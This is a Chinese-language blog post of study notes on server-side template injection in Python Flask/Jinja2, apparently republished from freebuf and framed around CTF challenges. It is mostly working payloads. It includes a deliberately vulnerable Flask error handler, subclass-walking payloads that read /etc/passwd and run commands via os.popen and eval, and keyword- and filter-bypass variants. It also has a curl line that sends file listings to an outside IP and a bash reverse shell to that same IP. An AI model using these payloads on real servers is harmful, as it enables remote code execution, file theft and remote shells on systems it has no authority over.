python flask ssti学习笔记 – 作者:BronyaRayi

python flask ssti学习笔记

学ssti就像是对python原理的一层深入探索,入口很简单,就是用户输入未经过滤便被服务器模板渲染,将其当作变量解析替换,从而达到读取文件或者执行命令等目的

简单示范

漏洞代码:

#!/usr/bin/env python
# -*- coding:utf8 -*-
import hashlib
import logging
import urllib.parse#python2没有parse,去掉就好
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string

app = Flask(__name__)
app.config.secret_key = "2333"
page_size = 60



@app.route('/')
def hello_world():
    return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
    template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (urllib.parse.unquote(request.url))#python2没有parse,去掉就好
    return render_template_string(template), 404

if __name__ == '__main__':
    app.run()

以上代码存在ssti漏洞点在于render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。

简单验证

image-20200202201526733

服务器将{{}}的内容直接执行后返回了结果

image-20200202201646169

直接返回出配置变量值,存在敏感信息

入门操作

爆全局变量

{{self.__dict__}}

任意文件读取

ctf题目中大多数是需要读取flag或者读取其他源码的

接下来利用一些骚操作读取文件吧

python中,不用引入直接使用的内置函数称为 builtin 函数,例如我们通常用的open,chr,ord等等

__builtin__.open()
__builtin__.int()
__builtin__.chr()

image-20200217204039400

#python一切皆对象,__class__方法可以获取当前对象(实例)的类
>>> "".__class__
<class 'str'>

#class.__mro__ 获取当前类对象的所有继承类(object类是python中最顶层的类。)
>>> "".__class__.__mro__
(<class 'str'>, <class 'object'>)

#

#object.__subclasses__() 返回object的子类,不加括号的话返回的是地址
>>> "".__class__.__mro__[-1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>,......,]

利用关键字寻找与读文件有关的类

Python2

image-20200202205202185

for i in ''.__class__.__mro__[-1].__subclasses__():
	count += 1
	if 'file' in repr(i):
		print count, i
//40 <type 'file'>

这不是我们很熟悉的file吗,直接用就好了

{{''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()}}

image-20200202205714666

或者让我们更加深入一点

#__init__初始化类
>>> ''.__class__.__mro__[-1].__init__
<slot wrapper '__init__' of 'object' objects>

#因为object类下面没有我们需要的东西,我们只能去它的子类找
#在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的
count = -1
for i in ().__class__.__mro__[-1].__subclasses__():
	count += 1
	if "warpper" in repr(i.__init__):
		pass
	else:
		print count, i
#__globals__全局方法,查找当前类包含的所有方法和变量及参数
count = -1
for i in ().__class__.__mro__[-1].__subclasses__():
	count += 1
	if "warpper" in repr(i.__init__):
		pass
	else:
		try:
			if "file" in repr(i.__init__.__globals__):
				print count, i
		except:
			pass
#输出:
(58, <class 'warnings.WarningMessage'>)
(59, <class 'warnings.catch_warnings'>)
(60, <class '_weakrefset._IterationGuard'>)
(61, <class '_weakrefset.WeakSet'>)
(71, <class 'site._Printer'>)
(76, <class 'site.Quitter'>)
(77, <class 'codecs.IncrementalEncoder'>)
(78, <class 'codecs.IncrementalDecoder'>)
#挑第一个详细看看

python2没有ipython,输出比较混乱我们用python3的相同类替代分析下

图片[6]-python flask ssti学习笔记 – 作者:BronyaRayi-安全小百科

#可以看出,__builtins__方法包含了当前类调用的模块和函数
'__builtins__': {'__name__': 'builtins',
  '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.",
  '__package__': '',
  '__loader__': _frozen_importlib.BuiltinImporter,
  '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>),
  '__build_class__': <function __build_class__>,
  '__import__': <function __import__>,
  'abs': <function abs(x, /)>,
  'all': <function all(iterable, /)>,
  'any': <function any(iterable, /)>,
  'ascii': <function ascii(obj, /)>,
  'bin': <function bin(number, /)>,
  'breakpoint': <function breakpoint>,
  'callable': <function callable(obj, /)>,
  'chr': <function chr(i, /)>,
  'compile': <function compile(source, filename, mode, flags=0, dont_inherit=False, optimize=-1)>,
  'delattr': <function delattr(obj, name, /)>,
  'dir': <function dir>,
  'divmod': <function divmod(x, y, /)>,
  'eval': <function eval(source, globals=None, locals=None, /)>,
  'exec': <function exec(source, globals=None, locals=None, /)>,
                 ......etc.
所以,以下payload即可调用file
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

image-20200202213634563

Python3

同上,可以找出不少读取文件的类,只是这里file变成了open函数

''.__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()

image-20200202213801294

随便找一个

image-20200202213914313

命令执行

利用eval()函数导入os库执行命令

利用本身已经导入os库的类执行命令

利用warnings.catch_warnings执行命令

利用commands执行命令

Python2

利用eavl函数执行命令

先寻找含有eval函数的类

count = -1
for i in ''.__class__.__mro__[-1].__subclasses__():
	count += 1
	if "warpper" in repr(i.__init__):
		pass
	else:
		try:
			if "eval" in repr(i.__init__.__globals__['__builtins__']):
				print(count, i)
		except:
			pass
#输出:
(58, <class 'warnings.WarningMessage'>)
(59, <class 'warnings.catch_warnings'>)
(60, <class '_weakrefset._IterationGuard'>)
(61, <class '_weakrefset.WeakSet'>)
(71, <class 'site._Printer'>)
(76, <class 'site.Quitter'>)
#__import__可以导入模块
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

image-20200203101525355

利用本身导入os库的类执行命令

寻找含有os库的类

count = -1
for i in ''.__class__.__mro__[-1].__subclasses__():
	count += 1
	if "warpper" in repr(i.__init__):
		pass
	else:
		try:
			if "os" in repr(i.__init__.__globals__):
				print(count, i)
		except:
			pass
#输出:
(71, <class 'site._Printer'>)
(76, <class 'site.Quitter'>)
#payload
无回显!
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
这个有
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('whoami').read()

image-20200203101951477

剩下的两个方法

查看warnings.catch_warnings方法的位置

>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59

查看linecatch的位置

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25

查找os模块的位置

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12

查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
137
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('popen')
109

调用system方法

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[137]('whoami')
root
0
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[109]('whoami').read()

利用commands 进行命令执行

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('whoami')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()

Python3

利用eavl函数执行命令

先寻找含有eval函数的类

count = -1
for i in ''.__class__.__mro__[-1].__subclasses__():
	count += 1
	if "warpper" in repr(i.__init__):
		pass
	else:
		try:
			if "eval" in repr(i.__init__.__globals__['__builtins__']):
				print(count, i)
		except:
			pass
#输出:
75 <class '_frozen_importlib._ModuleLock'>
76 <class '_frozen_importlib._DummyModuleLock'>
77 <class '_frozen_importlib._ModuleLockManager'>
78 <class '_frozen_importlib._installed_safely'>
79 <class '_frozen_importlib.ModuleSpec'>
91 <class '_frozen_importlib_external.FileLoader'>
92 <class '_frozen_importlib_external._NamespacePath'>
93 <class '_frozen_importlib_external._NamespaceLoader'>
95 <class '_frozen_importlib_external.FileFinder'>
102 <class 'codecs.IncrementalEncoder'>
103 <class 'codecs.IncrementalDecoder'>
104 <class 'codecs.StreamReaderWriter'>
105 <class 'codecs.StreamRecoder'>
127 <class 'os._wrap_close'>
128 <class '_sitebuiltins.Quitter'>
129 <class '_sitebuiltins._Printer'>
131 <class 'types.DynamicClassAttribute'>
132 <class 'types._GeneratorWrapper'>
133 <class 'warnings.WarningMessage'>
134 <class 'warnings.catch_warnings'>
161 <class 'reprlib.Repr'>
168 <class 'functools.partialmethod'>
170 <class 'contextlib._GeneratorContextManagerBase'>
171 <class 'contextlib._BaseExitStack'>
177 <class 'sre_parse.Pattern'>
178 <class 'sre_parse.SubPattern'>
179 <class 'sre_parse.Tokenizer'>
180 <class 're.Scanner'>
#__import__可以导入模块
''.__class__.__mro__[-1].__subclasses__()[180].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

image-20200203103031827

利用本身导入os库的类执行命令

寻找含有os库的类

count = -1
for i in ''.__class__.__mro__[-1].__subclasses__():
	count += 1
	if "warpper" in repr(i.__init__):
		pass
	else:
		try:
			if "'os'" in repr(i.__init__.__globals__):
				print(count, i)
		except:
			pass
#输出:
117 <class 'os._wrap_close'>
或者127
emmm....
只有os本身了。。
#payload
无回显!
''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('ls')
这个有
''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('whoami').read()

image-20200203101951477

过滤绕过方法

过滤中括号

''.__class__.__mro__[-1].__subclasses__().pop(40)('/etc/passwd').read()

''.__class__.__mro__[-1].__subclasses__().__getitem__(40)('/etc/passwd').read()

''.__class__.__mro__[-1].__subclasses__().__getitem__(71).__init__.__globals__.__getitem__('os').popen('whoami').read()

过滤引号,过滤class等关键字

request.args是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤

{{''.__class__.__mro__[-1].__subclasses__().pop(40)(request.args.path).read()}}/?path=/etc/passwd

image-20200203113035142

{{[].__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__[request.args.mod].popen(request.args.cmd).read()}}/?mod=os&cmd=whoami

image-20200203113319817

过滤.__()

#利用[]可以调用
{% if url_for['__globals__']['current_app'][conf]['FLAG'][pos]=='payload' %}true~{% endif %}
#过滤()时无法执行函数,只能获取变量里的某些内容

过滤关键字

base64编码绕过

__getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词

''.__getattribute__('X19jbGFzc19f'.decode('base64')).__mro__[-1].__subclasses__()[40]('/etc/passwd').read()

#我也不知道为啥不能加u""
''.__getattribute__("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f").__mro__[-1].__subclasses__()[127].__init__.__globals__['popen']('whoami').read()

字符串拼接绕过

利用hex编码,base64编码,[::-1]等绕过关键词过滤

过滤花括号

使用{% if … %}1{% endif %}

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://47.100.120.123 -d `ls / |  grep flag`;') %}1{% endif %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eva'+'l' in b.keys() %}{% if b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("bash -i >& /dev/tcp/47.100.120.123/2333 0>&1").read()') %}1{% endif %}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}

利用声明变量和内置过滤器

以下方法仅在jinja2中实验成功

声明变量

在模板中添加变量,可以使用(set)语句。

{% set name='xx' %}

with语句来创建一个内部的作用域,将set语句放在其中,这样创建的变量只在with代码块中才有效

{% with gg = 42 %}
{{ gg }}
{% endwith %}

image-20200826105403681

变量可以用~链接

image-20200826111256677

内置过滤器

变量可以通过 过滤器修改。过滤器与变量用管道符号|分割,并且也 可以用圆括号传递可选参数。多个过滤器可以链式调用,前一个过滤器的输出会被作为 后一个过滤器的输入。

例如{{ name|striptags|title }}会移除 name 中的所有 HTML 标签并且改写 为标题样式的大小写格式。

过滤器接受带圆括号的参数,如同函数调用。这个例子会 把一个列表用逗号连接起来:{{ list|join(',') }}

image-20200826105902303类似于php中的php://filter/过滤器,过滤器种类太多,具体项目我复制到另一个文档里了

https://jinja.palletsprojects.com/en/master/templates/#builtin-filters

image-20200826110425905

几个例子

image-20200826110847935

image-20200826111140399

绕过__class__过滤

image-20200826111335097

我们可以利用过滤器构造任意的字符

首先利用__doc__属性弄出字符来(没有可以用别的)

image-20200826111702443

结合一些普通方法,截取字符,例如单引号:

image-20200826111851168

来源:freebuf.com 2021-02-23 11:35:48 by: BronyaRayi

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论